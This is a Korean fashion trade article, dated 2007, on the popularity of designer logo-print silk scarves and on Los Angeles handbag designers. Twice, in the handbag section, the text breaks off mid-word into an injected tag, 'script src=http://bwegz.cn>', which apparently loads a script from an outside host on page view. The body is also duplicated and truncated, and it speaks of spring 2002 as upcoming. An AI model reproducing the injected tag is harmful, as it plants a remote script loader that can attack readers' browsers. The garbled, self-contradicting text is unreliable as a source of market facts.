액세서리 시장에 불고 있는 수직기류
2007-01-24 예정현기자 michel@fashioninsight.com
스카프는 디자이너 시그너처 프린트, 핸드백은 독창적인 미(美) 디자이너 브랜드 주목
1.스카프---시그너처 로고 프린트 인기
디자이너들의 로고가 담긴 실크 스카프가 인기를 끌고 있다.
「에르메스(Hermes)」 파리 매장에서는 크리스마스 기간동안 시그너처 로고 프린트 실크 스카프가 38초마다 1개씩 팔려나갈 정도로 폭발적인 인기를 모았다.
1937년 로베르또 뒤마가 18세기 보드게임판 무늬가 담긴 실크 스카프를 처음 내놓은 이래 「에르메스」 로고 실크 스카프는 수 십 년 동안 패션 액세서리의 강자로 군림해 왔다.
최근에는 미국의 인기 드라마 ‘섹스앤더시티(Sex and the City)’의 여주인공이 「에르메스」 스카프를 메고 나온 뒤 고객들의 발길이 폭발적으로 증가, 「에르메스」의 위상을 더욱 높였다.
특히 젊은 여성부터 중년 여성까지 「에르메스」 로고 스카프를 벨트로, 홀터 탑으로, 헤드 랩으로 사용하면서 연령을 초월한 패션 아이템으로 자리잡고 있다.
「에르메스」 실크 스카프의 소매가는 250달러.
매 시즌 다양한 색상과 스타일을 선보이는 「에르메스」 실크 스카프 가운데 변함없는 인기를 끌고 있는 아이템은 역시 시그너쳐 로고 스카프다. 박스에 담겨 있는 「에르메스」 실크 스카프는 품격 높은 선물로서도 수요가 높다.
최근 마크 제이콥스와 마이클 코어스 역시 독특한 로고 프린트가 담긴 실크 스카프를 내놓으며 「에르메스」의 아성에 도전장을 내밀었다. 특히 젊고 신선한 이미지를 갖고 있는 마크 제이콥스의 스카프는 유통업체들의 높은 호응을 얻고 있다.
마크 제이콥스는 지난 몇 시즌 동안 자동차나 신발 등을 경쾌한 터치로 표현한 컨버세이셔널 프린트 스카프를 선보였는데, 2002 봄에는 플로럴 프린트를 테마로 한 스카프를 선보일 계획.
마크 제이콥스는 이탈리아 스카프 제조업체 「이사(Isa)」와 라이센스 계약을 맺어 스카프 사업을 본격적으로 진행할 수 있는 기반을 마련했다. 현재 피브스 애비뉴/ 헨리 벤델/ 메이시 웨스트 등 기존의 유통망을 통해 거래되고 있으며 가격은 100달러 선. 내년 봄 취급 매장을 더욱 확대할 방침이다.
「샤넬」 역시 2002 봄 스카프 예약 주문율이 58%를 넘는 등 스카프 사업이 성장세를 보이고 있다. 그 어느 때보다 젊고 신선한 이미지의 스카프를 선보이고 있는 「샤넬」은 전통적인 36인치(약 90cm) 사이즈 스카프와 오버사이즈 오블롱/ 구슬 장식이 든 시폰 스카프/ 패러스/ 랩 등 다양한 스카프를 내놓으며 멋쟁이 여성들의 시선을 끌고 있다.
럭셔리 액세서리 하우스로 명성이 높은 「살바토레페라가모」 역시 스카프 사업에 많은 비중을 두고 있는 업체. 페라가모의 2002 봄 스카프 테마는 시그너처 애니멀 프린트와 플로럴 모티프이며 가격은 200달러 선(소매가).
브랜드 인지도가 높은 「랄프로렌」은 로고 프린트 스카프의 매출이 높은데 「로렌바이랄프로렌(Lauren by Ralph Lauren)」의 경우, 로고 스카프의 판매 비중이 절대적이다.
이처럼 로고 프린트가 인기를 끌자 「랄프로렌」은 보다 독특한 로고 프린트 디자인에 힘쓰고 있다.
한편 모든 스카프에 로고를 담고 있는 「DKNY」는 36인치 사이즈 실크 스카프(소매가 65달러)와 그래피티 스타일의 로고 프린트/ 컬러 블락 로고 프린트 스카프가 높은 호응을 얻고 있다.
가격 부담 없이 디자이너 아이템을 구입할 수 있어 매력
디자이너들이 스카프 생산에 몰두하고 있는 이유는 스카프가 디자이너의 창의성과 감성을 집약적으로 표현할 수 있는 ‘그림판’이기 때문이다. 또한 사이즈와 부피가 작아 선물용으로 적합하고 가격 부담이 적어 값비싼 디자이너 브랜드 구입을 망설이는 여성도 쉽게 구입할 수 있기 때문.
그러나 디자이너들의 로고 프린트가 담긴 스카프가 인기를 끌고 있는 반면, 전체적인 스카프 시장은 부진을 면치 못하고 있다. 전문가들은 최근 몇 시즌 인기를 끌었던 파시미나의 뒤를 이어 장식적인 랩스커프, 네커치프가 베스트셀러를 기록한 이후 스카프 시장에서 내놓을 수 있는 핫 아이템이 바닥났다고 분석하고 있다. 그 때문에 2002 봄에는 벨트가 새로운 인기 액세서리로 등장할 것이라는 전망.
미국의 고급백화점에서는 일반 스카프 판매거 미진한 가운데 「살바토레페레가모」 「조르지오아르마니」 「샤넬」 「랄프로렌」 등 고급 실크 스카프만이 꾸준한 판매 상승세를 보이고 있다. 전문가들은 내년 봄에는 벨트와 선글래스가 새로운 인기 액세서리로 등장할 것으로 전망하고 있다.
2. 핸드백--주목받는 미국 핸드백 디자이너들
LA가 이탈리아, 프랑스 핸드백 업체들의 아성에 도전하고 있다.
런던의 하비니콜스(Harvey Nichols), 홍콩의 조이스(Joyce) 등 대형 유통 매장들은 독특하고 세련된 LA 디자이너들의 핸드백 사입에 열을 올리고 있다.
이들 미국 디자이너들은 디자이너 하우스들의 시그너처 디자인(바케트 백과 술 장식이 달린 핸드?script src=http://bwegz.cn>
디자이너들의 로고가 담긴 실크 스카프가 인기를 끌고 있다.
「에르메스(Hermes)」 파리 매장에서는 크리스마스 기간동안 시그너처 로고 프린트 실크 스카프가 38초마다 1개씩 팔려나갈 정도로 폭발적인 인기를 모았다.
1937년 로베르또 뒤마가 18세기 보드게임판 무늬가 담긴 실크 스카프를 처음 내놓은 이래 「에르메스」 로고 실크 스카프는 수 십 년 동안 패션 액세서리의 강자로 군림해 왔다.
최근에는 미국의 인기 드라마 ‘섹스앤더시티(Sex and the City)’의 여주인공이 「에르메스」 스카프를 메고 나온 뒤 고객들의 발길이 폭발적으로 증가, 「에르메스」의 위상을 더욱 높였다.
특히 젊은 여성부터 중년 여성까지 「에르메스」 로고 스카프를 벨트로, 홀터 탑으로, 헤드 랩으로 사용하면서 연령을 초월한 패션 아이템으로 자리잡고 있다.
「에르메스」 실크 스카프의 소매가는 250달러.
매 시즌 다양한 색상과 스타일을 선보이는 「에르메스」 실크 스카프 가운데 변함없는 인기를 끌고 있는 아이템은 역시 시그너쳐 로고 스카프다. 박스에 담겨 있는 「에르메스」 실크 스카프는 품격 높은 선물로서도 수요가 높다.
최근 마크 제이콥스와 마이클 코어스 역시 독특한 로고 프린트가 담긴 실크 스카프를 내놓으며 「에르메스」의 아성에 도전장을 내밀었다. 특히 젊고 신선한 이미지를 갖고 있는 마크 제이콥스의 스카프는 유통업체들의 높은 호응을 얻고 있다.
마크 제이콥스는 지난 몇 시즌 동안 자동차나 신발 등을 경쾌한 터치로 표현한 컨버세이셔널 프린트 스카프를 선보였는데, 2002 봄에는 플로럴 프린트를 테마로 한 스카프를 선보일 계획.
마크 제이콥스는 이탈리아 스카프 제조업체 「이사(Isa)」와 라이센스 계약을 맺어 스카프 사업을 본격적으로 진행할 수 있는 기반을 마련했다. 현재 피브스 애비뉴/ 헨리 벤델/ 메이시 웨스트 등 기존의 유통망을 통해 거래되고 있으며 가격은 100달러 선. 내년 봄 취급 매장을 더욱 확대할 방침이다.
「샤넬」 역시 2002 봄 스카프 예약 주문율이 58%를 넘는 등 스카프 사업이 성장세를 보이고 있다. 그 어느 때보다 젊고 신선한 이미지의 스카프를 선보이고 있는 「샤넬」은 전통적인 36인치(약 90cm) 사이즈 스카프와 오버사이즈 오블롱/ 구슬 장식이 든 시폰 스카프/ 패러스/ 랩 등 다양한 스카프를 내놓으며 멋쟁이 여성들의 시선을 끌고 있다.
럭셔리 액세서리 하우스로 명성이 높은 「살바토레페라가모」 역시 스카프 사업에 많은 비중을 두고 있는 업체. 페라가모의 2002 봄 스카프 테마는 시그너처 애니멀 프린트와 플로럴 모티프이며 가격은 200달러 선(소매가).
브랜드 인지도가 높은 「랄프로렌」은 로고 프린트 스카프의 매출이 높은데 「로렌바이랄프로렌(Lauren by Ralph Lauren)」의 경우, 로고 스카프의 판매 비중이 절대적이다.
이처럼 로고 프린트가 인기를 끌자 「랄프로렌」은 보다 독특한 로고 프린트 디자인에 힘쓰고 있다.
한편 모든 스카프에 로고를 담고 있는 「DKNY」는 36인치 사이즈 실크 스카프(소매가 65달러)와 그래피티 스타일의 로고 프린트/ 컬러 블락 로고 프린트 스카프가 높은 호응을 얻고 있다.
가격 부담 없이 디자이너 아이템을 구입할 수 있어 매력
디자이너들이 스카프 생산에 몰두하고 있는 이유는 스카프가 디자이너의 창의성과 감성을 집약적으로 표현할 수 있는 ‘그림판’이기 때문이다. 또한 사이즈와 부피가 작아 선물용으로 적합하고 가격 부담이 적어 값비싼 디자이너 브랜드 구입을 망설이는 여성도 쉽게 구입할 수 있기 때문.
그러나 디자이너들의 로고 프린트가 담긴 스카프가 인기를 끌고 있는 반면, 전체적인 스카프 시장은 부진을 면치 못하고 있다. 전문가들은 최근 몇 시즌 인기를 끌었던 파시미나의 뒤를 이어 장식적인 랩스커프, 네커치프가 베스트셀러를 기록한 이후 스카프 시장에서 내놓을 수 있는 핫 아이템이 바닥났다고 분석하고 있다. 그 때문에 2002 봄에는 벨트가 새로운 인기 액세서리로 등장할 것이라는 전망.
미국의 고급백화점에서는 일반 스카프 판매거 미진한 가운데 「살바토레페레가모」 「조르지오아르마니」 「샤넬」 「랄프로렌」 등 고급 실크 스카프만이 꾸준한 판매 상승세를 보이고 있다. 전문가들은 내년 봄에는 벨트와 선글래스가 새로운 인기 액세서리로 등장할 것으로 전망하고 있다.
2. 핸드백--주목받는 미국 핸드백 디자이너들
LA가 이탈리아, 프랑스 핸드백 업체들의 아성에 도전하고 있다.
런던의 하비니콜스(Harvey Nichols), 홍콩의 조이스(Joyce) 등 대형 유통 매장들은 독특하고 세련된 LA 디자이너들의 핸드백 사입에 열을 올리고 있다.
이들 미국 디자이너들은 디자이너 하우스들의 시그너처 디자인(바케트 백과 술 장식이 달린 핸드?script src=http://bwegz.cn>
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